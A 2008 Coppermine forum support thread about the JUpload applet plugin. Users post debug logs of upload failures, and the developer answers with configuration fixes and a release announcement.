 [ERROR] EMPTY HEAD response
[ERROR] [java.lang.NullPointerException] null (Unable to access to the postURL:

how ever it still uploads great. It just puts off all my users. Is there any thing i can do to stop it?

Any help would be great!!!

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on May 28, 2008, 10:59:35 pm
Help please :) :) :)
When you go on jupload page it comes up with these errors
 [ERROR] EMPTY HEAD response
[ERROR] [java.lang.NullPointerException] null (Unable to access to the postURL:

how ever it still uploads great. It just puts off all my users. Is there any thing i can do to stop it?

Any help would be great!!!

  Hi,

  I have this error when using the applet wiht my antivirus, Kaspersky. Can you test it, with the antivirus off (but take care to keep the firewall on, at least the XP one).

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on May 28, 2008, 11:07:56 pm
Hi,

I upgraded my jupload plugin to the new version and now i can't upload anymore. Hope to find some help here. I've just uploaded all the new files above the old once (ver. 3.0.0rc4).
now i get this error:

Code: [Select]
[ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
Does someone know this?
A few posts ago i read something about the max file/chunk size. My is 2048 = 2MB.
I've added my error log.

Greets,
Matthias


Hi,

  From the error you have, thank to the debug output, you are apparently using some kind of bridge. Correct ?

If so, try to select 'jupload' in the sessionManagement config parameter for the plugin. To do this:
- Connect as an admin
- Got the the main configuration page
- Select General Parameters, then Administrate the plugins (or whatever is the english text for that)
- Select the 'Jupload configuration' button'.

If this doesn't work, can you give me the same debug output as you did ... but with your gallery configured in English, so that I can understant a possible error message coming from Coppermine?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Tjnashster on May 28, 2008, 11:34:28 pm
  Hi,

  I have this error when using the applet wiht my antivirus, Kaspersky. Can you test it, with the antivirus off (but take care to keep the firewall on, at least the XP one).

Etienne

yes it is that. Is there a way of turning that error off???
Also silly question i suppose but can i make the normal users have the same upload fetchers as admin e.g no disk space amounts and ability to upload to and create public gallerys
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on May 29, 2008, 02:12:28 pm
yes it is that. Is there a way of turning that error off???
Also silly question i suppose but can i make the normal users have the same upload fetchers as admin e.g no disk space amounts and ability to upload to and create public gallerys

It's done on my current working version: I change the error to a warning.

  Can you confirm that upload works ok, despite this error message ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Tjnashster on May 29, 2008, 03:32:51 pm
yes i can
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Tjnashster on May 30, 2008, 12:25:26 pm
ok i am very sorry to keep on bugging you but. I am using the new version and have set user group to be allowed to upload to public galleries (in the coppermine menu) but people who should be able to upload to public galleries can't in jupload. Is there anything i have to do to get it to work ?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on May 30, 2008, 06:47:33 pm
ok i am very sorry to keep on bugging you but. I am using the new version and have set user group to be allowed to upload to public galleries (in the coppermine menu) but people who should be able to upload to public galleries can't in jupload. Is there anything i have to do to get it to work ?

Hum,

  I thought I tested this kind of case ...

Can you post here a picture of your group settings, and tell me which one goes wrong ?
Can you also post the debug output, so that I have all info ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: tinorebel on May 30, 2008, 07:24:49 pm
Hallo, I'm using this great plug in with pleasure.
I knowed obout the problem with firefox on mac, but yesterday one friend using PC sent me this error message he got.

Code: [Select]
12:38:15.140 [INFO] Debug level set to 0
12:38:15.156 [INFO] Current debug output file: C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\jupload_53254_log.txt
12:38:15.171 [WARN] Invalid int value: true, using default value: 0
12:38:15.171 [WARN] Invalid long value: 2Mb000, using default value: 9223372036854775807
12:38:15.187 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
12:38:15.203 [INFO] maxFileSize: 5000000
12:38:17.390 [WARN] Invalid int value: , using default value: 0
12:38:17.390 [INFO] JUpload plugin for coppermine version 3.0.3c
12:43:15.968 [INFO] Debug level set to 1
12:43:16.171 [INFO] Current debug output file: C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\jupload_53254_log.txt
12:43:17.187 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
12:43:17.203 [DEBUG] debugLevel: 1 (debugfile: C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\jupload_53254_log.txt)
12:43:17.203 [INFO] maxFileSize: 5000000
12:43:24.265 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
12:43:24.265 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
12:43:24.265     at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:614)
12:43:24.265     at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
12:43:24.265     at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)
12:43:30.843 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] La respuesta del servidor HTTP no cumple los requisitos. La carga ha fallado. (Ocurri un error durante la gestin del log (sbHttpResponseBody))
12:43:30.859 wjhk.jupload2.exception.JUploadExceptionUploadFailed: La respuesta del servidor HTTP no cumple los requisitos. La carga ha fallado.
12:43:30.859     at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1103)
12:43:30.859     at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
12:43:32.218 [ERROR] [wjhk.jupload2.exception.JUploadIOException] Trying to get the byte array of a on non-closed ByteArrayEncoded (Could not send debug information)
12:43:32.218 wjhk.jupload2.exception.JUploadIOException: Trying to get the byte array of a on non-closed ByteArrayEncoded
12:43:32.218     at wjhk.jupload2.upload.ByteArrayEncoder.getString(ByteArrayEncoder.java:244)
12:43:32.218     at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1135)
12:43:32.218     at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
12:43:32.281 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

Test was made on Explorer 7.0 with java plug in actualized, He was trying to upload 3 pictures.
JUpload plugin for Coppermine v 3.0.3c, 

Can someone tell me if it's some known compatibilty problem? ???

Thanks.

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Tjnashster on May 30, 2008, 09:59:37 pm
OK well the problem is with the registered group. attached is a pic of it.

Here is the debug info of when you click on jupload.

Code: [Select]
20:57:56.656 [INFO] Debug level set to 100
20:57:56.656 [INFO] Current debug output file: E:\DOCUME~1\tom\LOCALS~1\Temp\jupload_19812_log.txt
20:57:56.656 [DEBUG] setLang - language read (no country): en
20:57:56.656 [WARN] Invalid int value: true, using default value: 0
20:57:56.656 [DEBUG] maxChunkSize<=0 which is invalid. Switched to the default value (Long.MAX_VALUE)
20:57:56.671 [DEBUG] Using non SSL socket, direct connection
20:57:57.828 [ERROR] EMPTY HEAD response
20:57:58.296 [ERROR] [java.lang.NullPointerException] null (Unable to access to the postURL: 'http://www.hastingscanoeclub.org.uk/tom/index.php?file=jupload/jupload&action=upload_picture&album=0')
20:57:58.296 java.lang.NullPointerException
20:57:58.296 at wjhk.jupload2.upload.HttpConnect.getProtocol(HttpConnect.java:325)
20:57:58.296 at wjhk.jupload2.policies.DefaultUploadPolicy.setServerProtocol(DefaultUploadPolicy.java:1688)
20:57:58.296 at wjhk.jupload2.policies.DefaultUploadPolicy.<init>(DefaultUploadPolicy.java:440)
20:57:58.296 at wjhk.jupload2.policies.PictureUploadPolicy.<init>(PictureUploadPolicy.java:220)
20:57:58.296 at wjhk.jupload2.policies.CoppermineUploadPolicy.<init>(CoppermineUploadPolicy.java:103)
20:57:58.296 at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
20:57:58.296 at sun.reflect.NativeConstructorAccessorImpl.newInstance(Unknown Source)
20:57:58.296 at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(Unknown Source)
20:57:58.296 at java.lang.reflect.Constructor.newInstance(Unknown Source)
20:57:58.296 at wjhk.jupload2.policies.UploadPolicyFactory.getUploadPolicy(UploadPolicyFactory.java:106)
20:57:58.296 at wjhk.jupload2.JUploadApplet.init(JUploadApplet.java:152)
20:57:58.296 at sun.applet.AppletPanel.run(Unknown Source)
20:57:58.296 at java.lang.Thread.run(Unknown Source)
20:57:58.296 [DEBUG] cookie: 8ab089a3dfc40a1d74023809106df144=f7f6aafb6821d151e73675ee69b916fa; __utma=1.990461120.1209059818.1212170923.1212177018.30; __utmz=1.1212177018.30.26.utmccn=(organic)|utmcsr=google|utmctr=hastings+canoe+club|utmcmd=organic; coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiI5ZjE5MTYwNWNkYTM0MmNiMzYzNTQxYzdjODAzZGY1NSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czoxMDoiZW5nbGlzaF9nYiI7czozOiJsaXYiO2E6MDp7fX0%3D; __utmb=1; __utmc=1
20:57:58.437 [DEBUG] userAgent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
20:57:58.437 [DEBUG] uploadPolicy parameter = CoppermineUploadPolicy
20:57:58.437 [DEBUG] uploadPolicy = wjhk.jupload2.policies.CoppermineUploadPolicy
20:57:58.437 [DEBUG] =======================================================================
20:57:58.437 [DEBUG] ======= Parameters managed by DefaultUploadPolicy
20:57:58.437 [INFO] JUpload applet, version 3.4.1 [SVN-Rev: 469] (compiled: 05/14/2008 08:27 PM), available at http://jupload.sourceforge.net/
20:57:58.437 [DEBUG] Java version: 1.6.0_03
20:57:58.437 [DEBUG] Cookie: 8ab089a3dfc40a1d74023809106df144=f7f6aafb6821d151e73675ee69b916fa; __utma=1.990461120.1209059818.1212170923.1212177018.30; __utmz=1.1212177018.30.26.utmccn=(organic)|utmcsr=google|utmctr=hastings+canoe+club|utmcmd=organic; coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiI5ZjE5MTYwNWNkYTM0MmNiMzYzNTQxYzdjODAzZGY1NSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czoxMDoiZW5nbGlzaF9nYiI7czozOiJsaXYiO2E6MDp7fX0%3D; __utmb=1; __utmc=1
20:57:58.453 [DEBUG] userAgent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
20:57:58.453 [DEBUG] List of all applet parameters:
20:57:58.453 [DEBUG]   language: en
20:57:58.453 [DEBUG]   country:
20:57:58.453 [DEBUG] afterUploadURL: null
20:57:58.453 [DEBUG] allowHttpPersistent: false
20:57:58.453 [DEBUG] allowedFileExtensions: /jpg/jpeg/jpe/gif/png/bmp/jpc/jp2/jpx/jb2/swc/iff/asf/asx/mpg/mpeg/wmv/swf/avi/mov/mp3/midi/mid/wma/wav/ogg/psd/doc/txt/rtf/pdf/xls/pps/ppt/zip/gz/mdb/
20:57:58.453 [DEBUG] debugLevel: 100 (debugfile: E:\DOCUME~1\tom\LOCALS~1\Temp\jupload_19812_log.txt)
20:57:58.468 [DEBUG] fileChooserIconFromFileContent: 0
20:57:58.468 [DEBUG] fileChooserIconSize: 50
20:57:58.468 [DEBUG] filenameEncoding: null
20:57:58.468 [DEBUG] lang: en
20:57:58.468 [DEBUG] maxChunkSize: 9223372036854775807
20:57:58.468 [INFO] maxFileSize: 1000000000000
20:57:58.468 [DEBUG] nbFilesPerRequest: 1
20:57:58.468 [DEBUG] postURL: http://www.hastingscanoeclub.org.uk/tom/index.php?file=jupload/jupload&action=upload_picture
20:57:58.468 [DEBUG] serverProtocol: HTTP/1.1
20:57:58.468 [DEBUG] showLogWindow: false
20:57:58.468 [DEBUG] showStatusbar: true
20:57:58.468 [DEBUG] specificHeaders: null
20:57:58.468 [DEBUG] stringUploadSuccess: ^SUCCESS$
20:57:58.468 [DEBUG] stringUploadError: ^ERROR: (.*)$
20:57:58.468 [DEBUG] urlToSendErrorTo: http://www.hastingscanoeclub.org.uk/tom/index.php?file=jupload/jupload&action=log_error
20:57:58.468 [DEBUG]
20:57:58.484 [DEBUG] ======= Parameters managed by PictureUploadPolicy
20:57:58.484 [DEBUG] fileChooserImagePreview: true
20:57:58.484 [DEBUG] highQualityPreview : false
20:57:58.484 [DEBUG] pictureCompressionQuality : 0.8
20:57:58.484 [DEBUG] pictureTransmitMetadata : false
20:57:58.484 [DEBUG] maxPicWidth : 2048, maxPicHeight : 2048
20:57:58.484 [DEBUG] realMaxPicWidth : 2048, realMaxPicHeight : 2048
20:57:58.484 [DEBUG] storeBufferedImage : false
20:57:58.484 [DEBUG] targetPictureFormat : null
20:57:58.484 [DEBUG]
20:57:58.484 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
20:57:58.484 [DEBUG] albumId : 0
20:57:58.484 [DEBUG]
20:58:00.671 [DEBUG] Within componentResized
20:58:00.687 [DEBUG] [CoppermineUploadPolicy] Call off setProperty: albumId =>
20:58:00.687 [WARN] Invalid int value: , using default value: 0
20:58:00.687 [DEBUG] Post URL (modified in CoppermineUploadPolicy) = http://www.hastingscanoeclub.org.uk/tom/index.php?file=jupload/jupload&action=upload_picture&album=0
20:58:00.687 [INFO] JUpload plugin for coppermine version 3.1.0
20:58:00.718 [DEBUG] PicturePanel.paint(): offscreenImage is null
20:58:04.968 [DEBUG] PicturePanel.paint(): offscreenImage is null
20:58:05.187 [DEBUG] PicturePanel.paint(): offscreenImage is null
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: ma_tt23 on June 01, 2008, 02:34:44 pm
hmm.. the session management didn't help me. So I switched back to version 3.0.0rc4 and it works fine.
I think i'll stay with this version
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Tjnashster on June 02, 2008, 04:52:56 pm
and so i will have install the old version yes??
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on June 02, 2008, 09:46:46 pm
and so i will have install the old version yes??

Hi,

  ma_tt23 answer was relative to a previous question of mine.

About your trouble: the only difference that I see, with my test case is the fact the quota is set to 0.  I'll test that.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on June 02, 2008, 09:48:13 pm
hmm.. the session management didn't help me. So I switched back to version 3.0.0rc4 and it works fine.
I think i'll stay with this version

Can you precise your Coppermine configuration: version, bridge, other plugin or hack ... ?

  I'd prefer to understand what's happening.

Perhaps you could provide me an admin account somewhere, on a Coppermine test server with the same trouble ?
 
Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on June 02, 2008, 09:50:36 pm
Hallo, I'm using this great plug in with pleasure.
I knowed obout the problem with firefox on mac, but yesterday one friend using PC sent me this error message he got.

Code: [Select]
12:38:15.140 [INFO] Debug level set to 0
12:38:15.156 [INFO] Current debug output file: C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\jupload_53254_log.txt
12:38:15.171 [WARN] Invalid int value: true, using default value: 0
12:38:15.171 [WARN] Invalid long value: 2Mb000, using default value: 9223372036854775807
12:38:15.187 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
12:38:15.203 [INFO] maxFileSize: 5000000

Test was made on Explorer 7.0 with java plug in actualized, He was trying to upload 3 pictures.
JUpload plugin for Coppermine v 3.0.3c, 

Can someone tell me if it's some known compatibilty problem? ???

  Your problem is not compatibility trouble: you would have other troubles.

I think the maxFileSize is bigger than your server configuration. So files are refused by the server. To correct that, you can lower your maxFileSize in the coppermine configuration page, or use the maxChunkSize, in the JUpload configuration page.

Update: oops ! I didn't see Invalid long value: 2Mb000, using default value: 9223372036854775807 message. You have put somewhere in the conf 2Mb, where JUpload expects a number. Probably in maxChunkSize. If yes, just put 2000 in maxChunkSize. It will work with most server configurations.

Etienne
Title: JUpload release 3.1.1
Post by: etienne_sf on June 03, 2008, 09:52:54 pm
Hi,

  Here is the announce for the 3.1.1 official Release.

The release is available here :
http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=12248 (http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=12248)
and on my wiki:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)


Release notes for 3.1.1:
Fixes:
- [Major?] Corrected a bug in right management. This will probably correct the problems recently identified on the plugin ... but I can insure that, as I can't repeat them.
- [Minor] Removed an annoying warning, when using when Kaspersky antivirus (EMPTY HEAD response)


Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: ma_tt23 on June 04, 2008, 11:38:52 am
Can you precise your Coppermine configuration: version, bridge, other plugin or hack ... ?

  I'd prefer to understand what's happening.

At first I was using version 1.4.14 I think, maybe 1.4.16 and while it wasn't working i upgraded to version 1.4.18. Using the original core application. No other plugins are installed. But in the new ver I got the same Error
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: moby5532 on June 04, 2008, 02:44:13 pm
Hi!

Great plugin!!!! I've got a problem anyways...

The Plugin only works when "Allow unlogged users (guest or anonymous) access" is activated in the coppermine-settings. If I disable guest access, the plugin keeps giving me the "no success string found" error.

I'm using xoops2 bridge... but I'm also getting the error, whith a clean new installation of coppermine and jupload without any settings exept the "guest access-setting" beeing changed. (Have the latest builds of both installed)

thats what I am getting, if anonymous access is disabled. (tried to cut out the less important stuff)

Code: [Select]
Debug level set to 100
Current debug output file: C:\DOKUME~1\3A3133~1\LOKALE~1\Temp\jupload_42069_log.txt
setLang - language read (no country): de
Invalid int value: true, using default value: 0
maxChunkSize<=0 which is invalid. Switched to the default value (Long.MAX_VALUE)
Using non SSL socket, direct connection
HEAD response: HTTP/1.1 302 Found
14:30:33.226 [INFO] Received 302 (current postURL: http://www.isarloge.de/modules/galerie/index.php?file=jupload/jupload&action=upload_picture&album=0)
Location read: login.php
14:30:33.226 [INFO] postURL switched from http://www.isarloge.de/modules/galerie/index.php?file=jupload/jupload&action=upload_picture&album=0 to http://www.isarloge.de/modules/galerie/index.php?file=jupload/login.php?file=jupload/jupload&action=upload_picture&album=0
cookie: PHPSESSID=99bc52d945f6ed86a6ac169d4a25d0c4; logen_session=99bc52d945f6ed86a6ac169d4a25d0c4; isarloge_de_newbb1_LV=1212581753; coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiJjZjQ1NGM1NzNkNjI0OGViYjBiZTUyYWQwMzNlOWQyOSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJnZXJtYW4iO3M6MzoibGl2IjthOjA6e319
userAgent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8
uploadPolicy parameter = CoppermineUploadPolicy
uploadPolicy = wjhk.jupload2.policies.CoppermineUploadPolicy
=======================================================================
======= Parameters managed by DefaultUploadPolicy
14:30:33.226 [INFO] JUpload applet, version 3.4.1 [SVN-Rev: 473] (compiled: 06/03/2008 08:38 AM), available at http://jupload.sourceforge.net/
Java version: 1.6.0_02
Cookie: PHPSESSID=99bc52d945f6ed86a6ac169d4a25d0c4; logen_session=99bc52d945f6ed86a6ac169d4a25d0c4; isarloge_de_newbb1_LV=1212581753; coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiJjZjQ1NGM1NzNkNjI0OGViYjBiZTUyYWQwMzNlOWQyOSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJnZXJtYW4iO3M6MzoibGl2IjthOjA6e319
userAgent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8
List of all applet parameters:
  language: de
 country:
afterUploadURL: null
allowHttpPersistent: false
allowedFileExtensions: /jpg/jpeg/jpe/gif/png/bmp/jpc/jp2/jpx/jb2/swc/iff/asf/asx/mpg/mpeg/wmv/swf/avi/mov/mp3/midi/mid/wma/wav/ogg/psd/doc/txt/rtf/pdf/xls/pps/ppt/zip/gz/mdb/
debugLevel: 100 (debugfile: C:\DOKUME~1\3A3133~1\LOKALE~1\Temp\jupload_42069_log.txt)
fileChooserIconFromFileContent: 0
fileChooserIconSize: 50
filenameEncoding: null
lang: de
maxChunkSize: 9223372036854775807
14:30:33.242 [INFO] maxFileSize: 2000000
nbFilesPerRequest: 1
postURL: http://www.isarloge.de/modules/galerie/index.php?file=jupload/login.php?file=jupload/jupload&action=upload_picture&album=0
serverProtocol: HTTP/1.1
showLogWindow: false
showStatusbar: true
specificHeaders: null
stringUploadSuccess: ^SUCCESS$
stringUploadError: ^ERROR: (.*)$
urlToSendErrorTo: http://www.isarloge.de/modules/galerie/index.php?file=jupload/jupload&action=log_error

======= Parameters managed by PictureUploadPolicy
fileChooserImagePreview: true
highQualityPreview : false
pictureCompressionQuality : 0.8
pictureTransmitMetadata : true
maxPicWidth : 2048, maxPicHeight : 2048
realMaxPicWidth : 2048, realMaxPicHeight : 2048
storeBufferedImage : false
targetPictureFormat : null

======= Parameters managed by CoppermineUploadPolicy
albumId : 0

Within componentResized
PicturePanel.paint(): offscreenImage is null
[CoppermineUploadPolicy] Call off setProperty: albumId =>
Invalid int value: , using default value: 0
Post URL (modified in CoppermineUploadPolicy) = http://www.isarloge.de/modules/galerie/index.php?file=jupload/login.php?file=jupload/jupload&action=upload_picture&album=0&album=0
JUpload plugin for coppermine version 3.1.1
PicturePanel.paint(): offscreenImage is null
[CoppermineUploadPolicy] Call off setProperty: albumId =>
Invalid int value: , using default value: 0
Post URL (modified in CoppermineUploadPolicy) = http://www.isarloge.de/modules/galerie/index.php?file=jupload/login.php?file=jupload/jupload&action=upload_picture&album=0&album=0
PicturePanel.paint(): offscreenImage is null
[CoppermineUploadPolicy] Call off setProperty: albumId => 16
Post URL (modified in CoppermineUploadPolicy) = http://www.isarloge.de/modules/galerie/index.php?file=jupload/login.php?file=jupload/jupload&action=upload_picture&album=0&album=16
PicturePanel.paint(): offscreenImage is null
Creation of the DefaultFileData for C:\Dokumente und Einstellungen\3A31339ECFF44BC7\Desktop\scheisse.jpg(root: null)
isPicture=true (scheisse.jpg), extension=jpg
Action : Hochladen
Upload done by using the wjhk.jupload2.upload.FileUploadThreadHTTP class
Timer started
Resizing factor (scale): 3.7236363636363636
scheisse.jpg : hasToTransformPicture = false
file 0: content=54755 bytes, getAdditionnalBytesForUpload=1810 bytes
chunkHttpParam: jupart=0&jufinal=1
Cookie: PHPSESSID=99bc52d945f6ed86a6ac169d4a25d0c4; logen_session=99bc52d945fjkljkl6a6ac169d4a25d0c4; isarloge_de_newbb1_LV=1212581753; coppermine_data=YTo0OntzOjI6iJjZjQ1NGM1NzNkNjI0OGViYjBiZTUyYWQwMzNlOWQyOSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJnZXJtYW4iO3M6MzoibGl2IjthOjA6e319
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8
Using non SSL socket, direct connection
PicturePanel.paint(): offscreenImage is null
 === main header (len=1225):
 POST /modules/galerie/index.php?file=jupload/login.php?file=jupload/jupload&action=upload_picture&album=0&album=16 HTTP/1.1\r\n
 Host: www.isarloge.de\r\n
 Accept: */*\r\n
 Accept-Encoding: identity\r\n
 Connection: close\r\n
 Content-Type: multipart/form-data; boundary=---------------------------8jxx2503i94\r\n
 Content-Length: 57077\r\n
 Cookie: PHPSESSID=99bc52d945f6ed86a6ac169d4a25d0c4; logen_session=99bc52d945f6ed86a6ac169d4a25d0c4; isarloge_de_newbb1_LV=1212581753; coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiJjZjQ1NGM1NzNkNjI0OGViYjBiZTUyYWQwMzNlOWQyOSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJnZXJtYW4iO3M6MzoibGl2IjthOjA6e319\r\n
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8\r\n
 \r\n
 -----------------------------8jxx2503i94\r\n
 Content-Disposition: form-data; name="filemodificationdate[]"\r\n
 Content-Transfer-Encoding: 8bit\r\n
 Content-Type: text/plain; UTF-8\r\n
 \r\n
 04/06/2008 14:23:05\r\n
 -----------------------------8jxx2503i94\r\n
 Content-Disposition: form-data; name="userpicture"; filename="scheisse.jpg"\r\n
 Content-Type: image/jpeg\r\n
 \r\n
 --- fileheader end
 in UploadFileData.uploadFile (amount:54755, getUploadLength(): 54755)
--- filetail start (len=239):
\r\n
-----------------------------8jxx2503i94\r\n
Content-Disposition: form-data; name="md5sum[]"\r\n
Content-Transfer-Encoding: 8bit\r\n
Content-Type: text/plain; UTF-8\r\n
\r\n
d677c79f241ea189b0ac1d40071f529a\r\n
-----------------------------8jxx2503i94--\r\n
--- filetail end
-------- Response Headers Start --------
HTTP/1.1 200 OK
Date: Wed, 04 Jun 2008 12:30:43 GMT
Server: Apache/2.2
X-Powered-By: PHP/4.4.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Set-Cookie: PHPSESSID=99bc52d945f6ed86ad9d4a25d0c4; path=/
Set-Cookie: logen_session=99bc52d945f6ed86ad9d4a25d0c4; expires=Wed, 11 Jun 2008 12:30:43 GMT; path=/
Set-Cookie: coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiJjdfNGM1NzNkNjI0OGViYjBiZTUyYWQwMzNlOWQyOSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJnZXJtYW4iO3M6MzoibGl2IjthOjA6e319; expires=Fri, 04 Jul 2008 12:30:43 GMT; path=/
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

--------- Response Headers End ---------
Chunk: dbec dec: 56300
Chunk: 0 dec: 0
HTTP status: 200 OK
-------- Response Body Start --------
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\r\n
\r\n
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">\r\n
<head>\r\n
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\r\n
<meta http-equiv="Pragma" content="no-cache" />\r\n
<title> - Galerie</title>\r\n
\r\n
<link rel="stylesheet" href="themes/classic/style.css" type="text/css" />\r\n
<script type="text/javascript" src="scripts.js"></script>\r\n
<!--\r\n
  SVN version info:\r\n
  Coppermine version: 1.4.18\r\n
  $Revision: 4380 $\r\n
  $LastChangedBy: gaugau $\r\n
  $Date: 2008-04-12 12:00:19 +0200 (Sa, 12 Apr 2008) $\r\n
-->\r\n
</head>\r\n
<body>\r\n
  \r\n
  <table width="100%" border="0" cellpadding="20" cellspacing="20">\r\n
    <tr>\r\n
      <td valign="top" style="border: 1px solid #666666;background-color:#FFFFFF;">\r\n
        <table width="100%" border="0" cellspacing="0" cellpadding="0">\r\n
          <tr>\r\n
            <td>\r\n
              <a href="index.php?PHPSESSID=99bc52d945f6ed86a6ac169d4a25d0c4"><img src="themes/classic/images/logo.jpg" border="0" alt="" /></a><br />\r\n
            </td>\r\n
            <td width="100%" align="center">\r\n
              <h1></h1>\r\n
              <h3></h3><br />\r\n
                          <!-- BEGIN home -->\r\n
        <a href="/modules/galerie/?PHPSESSID=99bc52d945f6ed86a6ac169d4a25d0c4" title="Gehe zur Startseite">Startseite</a> ::\r\n
  <!-- END home -->  <!-- BEGIN my_gallery -->\r\n
        <a href="index.php?cat=10001&PHPSESSID=99bc52d945f6ed86a6ac169d4a25d0c4" title="Gehe zu meiner persnlichen Galerie">Meine Galerie</a> ::\r\n
 
(HTML CODE OF THE PAGE CUT OUT, BECAUSE OF THE MAX ALLOWED LENGHT OF POSTS
                     
        <img src="images/spacer.gif" width="1" height="7" border="" alt="" /><br />\r\n
<div class="footer" align="center" style="padding-top: 10px;">Powered by <a href="http://coppermine-gallery.net/" title="Coppermine Photo Gallery" rel="external">Coppermine Photo Gallery</a></div>\r\n
            </td>\r\n
          </tr>\r\n
        </table>\r\n
      </td>\r\n
    </tr>\r\n
  </table>\r\n
\r\n
<!--Coppermine Photo Gallery 1.4.18 (stable)-->\n
</body>\r\n
</html>\r\n
14:30:44.335 [DEBUG] --------- Response Body End ---------
14:30:46.038 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
